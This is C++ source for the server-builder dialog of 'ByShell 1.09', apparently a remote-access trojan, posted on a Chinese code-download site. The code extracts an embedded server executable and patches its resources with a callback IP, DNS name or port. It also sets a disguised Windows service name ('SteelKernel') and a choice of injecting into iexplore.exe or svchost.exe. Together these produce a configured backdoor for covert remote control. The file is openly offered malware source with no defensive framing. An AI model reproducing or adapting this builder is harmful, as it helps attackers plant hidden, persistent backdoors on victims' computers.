⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 makefiledlg.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
// MakeFileDlg.cpp : 实现文件
//

#include "stdafx.h"
#include "VipClient.h"
#include "MakeFileDlg.h"
#include ".\makefiledlg.h"

#include <afxinet.h>
#include "iphelper.h"
#include "stdio.h"

// CMakeFileDlg 对话框


IMPLEMENT_DYNAMIC(CMakeFileDlg, CDialog)
CMakeFileDlg::CMakeFileDlg(CWnd* pParent /*=NULL*/)

	: CDialog(CMakeFileDlg::IDD, pParent)

	, m_strUrl(_T("http://www.xxx.com/ip.txt"))
	, m_strExplain(_T("ByShell 1.09"))

	, m_strIp(_T(""))
	, m_strIp_Port("2007")

	, m_strFileName(_T("SteelKernel32"))
	, m_strServiceName("SteelKernel")
	, m_strDisplayName("SteelKernel")
	, m_strDescription("ByShell 服务端,远程监控管理.官方网站 www.SteelKernel.com")

	//, m_strCFfile(_T("NULL"))
{
}

CMakeFileDlg::~CMakeFileDlg()
{
}

void CMakeFileDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	DDX_Text(pDX, IDC_EDIT_URL, m_strUrl);
	DDX_Text(pDX, IDC_EDIT_EXPLAIN, m_strExplain);

	DDX_Text(pDX, IDC_EDIT_IP, m_strIp);
	DDX_Text(pDX, IDC_EDIT_IP_PORT, m_strIp_Port);

	DDX_Text(pDX, IDC_EDIT_FILENAME, m_strFileName);
	DDX_Text(pDX, IDC_EDIT_SERVICENAME, m_strServiceName);
	DDX_Text(pDX, IDC_EDIT_DISPLAYNAME, m_strDisplayName);
	DDX_Text(pDX, IDC_EDIT_DESCRIPTION, m_strDescription);

	DDX_Control(pDX, IDC_COMBO_URLDNS, m_ListURLDNS);
	DDX_Control(pDX, IDC_COMBO_INJECT, m_ListINJECT);
}


BEGIN_MESSAGE_MAP(CMakeFileDlg, CDialog)

	ON_BN_CLICKED(IDOK, OnBnClickedOk)

	ON_CBN_SELCHANGE(IDC_COMBO_URLDNS, OnCbnSelchangeComboURLDNS)//OnCbnSelchangeComboURLDNS
	//ON_CBN_SELCHANGE(IDC_COMBO_INJECT, OnCbnSelchangeComboINJECT)//OnCbnSelchangeComboINJECT

END_MESSAGE_MAP()


//bool CMakeFileDlg::SetVipShellConfig(LPCWSTR szFile,	LPVIPSHELLCONFIG pCfg1)
//{
//	VIPSHELLCONFIG tp;
//	memcpy(&tp, pCfg1, sizeof(VIPSHELLCONFIG));
//	LPVIPSHELLCONFIG pCfg =&tp;
//	BYTE bByte;
//	for(int i = 0 ; i < sizeof(VIPSHELLCONFIG); i++)
//	{
//		bByte = (BYTE)*((BYTE*)pCfg + i);
//		bByte --;
//		(BYTE)*((BYTE*)pCfg + i) = bByte;
//	}
//	FILE* fp  = _wfopen(szFile, _T("ab"));
//	if( !fp )
//		return false;
//	long loffset = 0 - sizeof(VIPSHELLCONFIG);
//	int nRet = fseek(fp, loffset, SEEK_END);
////	if ( nRet != 0)
////		return false;
//	fwrite(pCfg, 1, sizeof(VIPSHELLCONFIG), fp);
//	fclose(fp);
//	return true;
//}

// CMakeFileDlg 消息处理程序

bool CMakeFileDlg::MakeDll(LPCTSTR szDllFile)
{
	HRSRC hResInfo;
	HGLOBAL hResData;
	DWORD dwSize, dwWritten;
	LPBYTE p;
	HANDLE hFile;
	hResInfo = FindResourceA(NULL,"Exe","Server");
	if (hResInfo == NULL)
          return false;
	// 获得资源尺寸
    dwSize = SizeofResource(NULL, hResInfo);
	 // 装载资源
    hResData = LoadResource(NULL, hResInfo);
	if (hResData == NULL)
          return false;
	p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (p == NULL)
         return false;
		// 复制资源数据
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
	hFile = CreateFile(szDllFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	if (hFile != NULL)
          WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
    else
        {
          GlobalFree((HGLOBAL)p);
          return false;
        }
	  CloseHandle(hFile);
      GlobalFree((HGLOBAL)p);
	  return true;
	return true;
}

void CMakeFileDlg::OnBnClickedOk()
{
	// TODO: 在此添加控件通知处理程序代码
	UpdateData();

	CFileDialog dlg(FALSE, L"exe", L"Server", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT , L"应用程序(*.exe)| *.exe|");
	if(dlg.DoModal()!=IDOK)
		return;

	//if(m_strCFfile.CompareNoCase(L"NULL") == 0)
	//{
	//	srand(GetTickCount());
	//	DWORD dwT = rand();
	//	m_strCFfile.Format(L"%d", dwT);
	//}
	//VIPSHELLCONFIG info;

	if( !MakeDll(dlg.GetFileName()) )
	{
		return;
	}

	WCHAR szTmpPath[MAX_PATH]={0};
	GetTempPath(MAX_PATH,szTmpPath);
	lstrcat(szTmpPath,L"\\Config.dat");

	WritePrivateProfileString(L"Config",L"Url",m_strUrl,szTmpPath);
	WritePrivateProfileString(L"Config",L"Explain",m_strExplain,szTmpPath);
	WritePrivateProfileString(L"Config",L"Ip",m_strIp,szTmpPath);
	WritePrivateProfileString(L"Config",L"Ip_Port",m_strIp_Port,szTmpPath);
	WritePrivateProfileString(L"Config",L"FileName",m_strFileName,szTmpPath);
	WritePrivateProfileString(L"Config",L"ServiceName",m_strServiceName,szTmpPath);
	WritePrivateProfileString(L"Config",L"DisplayName",m_strDisplayName,szTmpPath);
	WritePrivateProfileString(L"Config",L"Description",m_strDescription,szTmpPath);

	CString strText;
	GetDlgItemText(IDC_COMBO_URLDNS, strText);
	if ( strText == _T("FTP-IP通知方式连接"))
	{
	WritePrivateProfileString(L"Config",L"URLDNS",L"1",szTmpPath);
	}
	if ( strText == _T("IP或DNS域名直接连接"))
	{
	WritePrivateProfileString(L"Config",L"URLDNS",L"2",szTmpPath);
	}

	CString strTextInject;
	GetDlgItemText(IDC_COMBO_INJECT, strTextInject);
	if ( strTextInject == _T("注入iexplore.exe浏览器进程"))
	{
	WritePrivateProfileString(L"Config",L"Inject",L"1",szTmpPath);
	}
	if ( strTextInject == _T("注入svchost.exe系统进程"))
	{
	WritePrivateProfileString(L"Config",L"Inject",L"2",szTmpPath);
	}


	char TmpPath[MAX_PATH]={0};
	GetTempPathA(MAX_PATH,TmpPath);
	strcat(TmpPath,"\\Config.dat");
	char Configer[3096]={0};

	HANDLE	hFile = NULL;
	hFile = CreateFileA(TmpPath,GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

	BYTE BufTmp[3096]={0};
	memset(BufTmp,0,3096);
	DWORD dwRead;

	ReadFile(hFile,BufTmp,3096,&dwRead,NULL);
	CloseHandle(hFile);

	strcpy(Configer,(const char *) BufTmp);


	HANDLE hDllFile;

	hDllFile = BeginUpdateResource(dlg.GetFileName(),0);

	UpdateResource(hDllFile,L"BY",L"BY",MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),Configer,strlen(Configer));
	EndUpdateResource(hDllFile, 0);

	DeleteFile(szTmpPath);
	DeleteFileA(TmpPath);


	//lstrcpy(info.szUrl, m_strUrl);
	//lstrcpy(info.szExplain, m_strExplain);

	//lstrcpy(info.szIp, m_strIp);
	//lstrcpy(info.szIp_Port, m_strIp_Port);

	//lstrcpy(info.szFileName, m_strFileName);
	//lstrcpy(info.szServiceName, m_strServiceName);

	//CString strText;
	//GetDlgItemText(IDC_COMBO_URLDNS, strText);
	//if ( strText == _T("FTP-IP通知方式连接"))
	//{
	//lstrcpy(info.szURLDNS, L"1");
	//}
	//if ( strText == _T("IP或DNS域名直接连接"))
	//{
	//lstrcpy(info.szURLDNS, L"2");
	//}

	//CString strTextInject;
	//GetDlgItemText(IDC_COMBO_INJECT, strTextInject);
	//if ( strTextInject == _T("注入iexplore.exe浏览器进程"))
	//{
	//lstrcpy(info.szInject, L"1");
	//}
	//if ( strTextInject == _T("注入svchost.exe系统进程"))
	//{
	//lstrcpy(info.szInject, L"2");
	//}


	//lstrcpy(info.szCfgFile,L"NULL");//CFfile
	//if( !MakeDll(dlg.GetFileName()) )
	//	return;
	//SetVipShellConfig(dlg.GetPathName(), &info);

//配置成功提示
	MessageBox(L"服务端配置成功");
	OnOK();
}

void CMakeFileDlg::OnCbnSelchangeComboURLDNS()
{
	// TODO: 在此添加控件通知处理程序代码
	CString strText;
	GetDlgItemText(IDC_COMBO_URLDNS, strText);
	if ( strText == _T("FTP-IP通知方式连接"))
	{
	//MessageBox(L"FTP-IP通知方式连接");
	GetDlgItem(IDC_EDIT_URL)->EnableWindow(TRUE);

	GetDlgItem(IDC_EDIT_IP)->EnableWindow(FALSE);
	GetDlgItem(IDC_EDIT_IP_PORT)->EnableWindow(FALSE);
	}
	if ( strText == _T("IP或DNS域名直接连接"))
	{
	//MessageBox(L"IP或DNS域名直接连接");
	GetDlgItem(IDC_EDIT_URL)->EnableWindow(FALSE);

	GetDlgItem(IDC_EDIT_IP)->EnableWindow(TRUE);
	GetDlgItem(IDC_EDIT_IP_PORT)->EnableWindow(TRUE);
	}
}

void CMakeFileDlg::OnCbnSelchangeComboINJECT()
{
	// TODO: 在此添加控件通知处理程序代码
	CString strText;
	GetDlgItemText(IDC_COMBO_INJECT, strText);
	if ( strText == _T("注入iexplore.exe浏览器进程"))
	{
	MessageBox(L"注入iexplore.exe浏览器进程");
	}
	if ( strText == _T("注入svchost.exe系统进程"))
	{
	MessageBox(L"注入svchost.exe系统进程");
	}
}

BOOL CMakeFileDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	m_ListURLDNS.AddString(_T("FTP-IP通知方式连接"));
	m_ListURLDNS.AddString(_T("IP或DNS域名直接连接"));
	m_ListURLDNS.SelectString(0, _T("IP或DNS域名直接连接"));

	GetDlgItem(IDC_EDIT_URL)->EnableWindow(FALSE);

	m_ListINJECT.AddString(_T("注入iexplore.exe浏览器进程"));
	m_ListINJECT.AddString(_T("注入svchost.exe系统进程"));
	m_ListINJECT.SelectString(0, _T("注入iexplore.exe浏览器进程"));

	WCHAR szIp[256] = {0};
	_tcscpy(szIp, iphelper::basic::IP2Addr(iphelper::adapter::GetBestInterface(0)).c_str());
	m_strIp = szIp;

	UpdateData(FALSE);
	return TRUE;  // return TRUE unless you set the focus to a control
	// 异常: OCX 属性页应返回 FALSE
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -